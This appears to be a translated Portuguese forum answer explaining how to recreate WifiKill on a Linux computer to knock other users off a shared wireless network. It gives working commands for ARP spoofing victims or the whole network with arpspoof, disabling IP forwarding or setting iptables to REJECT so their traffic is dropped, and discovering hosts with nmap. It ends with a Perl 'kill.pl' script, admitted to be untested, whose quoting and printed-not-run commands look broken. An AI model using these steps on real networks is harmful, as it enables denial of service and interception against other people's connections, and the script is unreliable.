Bem, o Android é o Linux, portanto você pode replicar as ações do WifiKill
do ponury no seu computador Linux
WifiKill
faz duas coisas:
- É masquerada como o gateway, então as vítimas enviariam pacotes para o telefone em vez de mandá-los para o gateway
- Desativa o encaminhamento de pacotes. Portanto, as vítimas enviarão todos os pacotes para o seu computador, o que os derrubará
Para o mascaramento, você precisa de ARP spoofing. Você pode usar o comando arpspoof
de dsniff :
- Primeiro, você deve saber o IP do gateway. Execute
route -n
em um terminal e obtenha o IP do gateway de lá. No caso mais comum (você está conectado apenas à rede sem fio), o gateway seria a entrada com Destino0.0.0.0
. Você pode usarroute -n|grep ^0.0.0.0|cut -d' ' -f 10
para obter o IP do gateway padrão - Em seguida, use
arpspoof
para se mascarar como o gateway. Executearpspoof $IP
como root se você quiser matar toda a rede, exceto você, ou executearpspoof -t $VICTIM_IP $IP
para cada vítima se você quiser matar apenas determinados hosts
Agora você está se disfarçando como o gateway da rede. Todos os pacotes enviados pelas vítimas são enviados para o seu computador. Agora você precisa desativar o encaminhamento de pacotes. Para isso, execute echo -n 0 > /proc/sys/net/ipv?/ip_forward
como root. Isso derrubará todos os pacotes enviados pelas vítimas
Já faz muito tempo desde a última vez que usei WifiKill
, mas lembro que tinha uma opção para rejeitar pacotes em vez de soltá-los [rejeitar dá às pessoas um erro de conexão instantânea, soltando todas as suas conexões]. Para fazer isso, você precisa:
-
Ativar encaminhamento de pacotes executando
echo -n 1 > /proc/sys/net/ipv?/ip_forward
como raiz - Defina a política FORWARD padrão de
netfilter
como REJECT. Executeiptables -P FORWARD REJECT
. Claro, você pode usariptables
para regras de firewall arbitrariamente complexas
WifiKill
também lista os hosts on-line. Para fazer isso no Linux, você pode usar nmap
para pingar hosts em um determinado intervalo. Por exemplo, se você quiser descobrir quais hosts estão on-line no intervalo 192.168.1.1
to 192.168.1.254
, é possível executar nmap -sP 192.168.1.1-254
. Embora isso não liste computadores com firewalls "stealth", você ainda pode matar esses computadores se matar todos na rede ou se souber o IP exato deles
Pode haver um programa lá fazendo o que eu listei acima, mas para o caso comum você pode escrever um script:
#!/usr/bin/perl -w
#This is untested code. Compiling works, but I haven't tested anything more
my $gw='route -n|grep ^0.0.0.0|cut -d' ' -f 10';
if (@ARGV) {
print "arpspoof -t $_ $gw &" for (@ARGV);
} else {
print "arpspoof $gw &";
}
system "echo 0 > $_" for(</proc/sys/net/ipv?/ip_forward>);
Salve isso como kill.pl
, em seguida, chame-o como ./kill.pl $IP1 $IP2 ... $IPn
para matar $IP1
, $IP2
, ..., $IPn
ou como ./kill.pl
para matar todos os hosts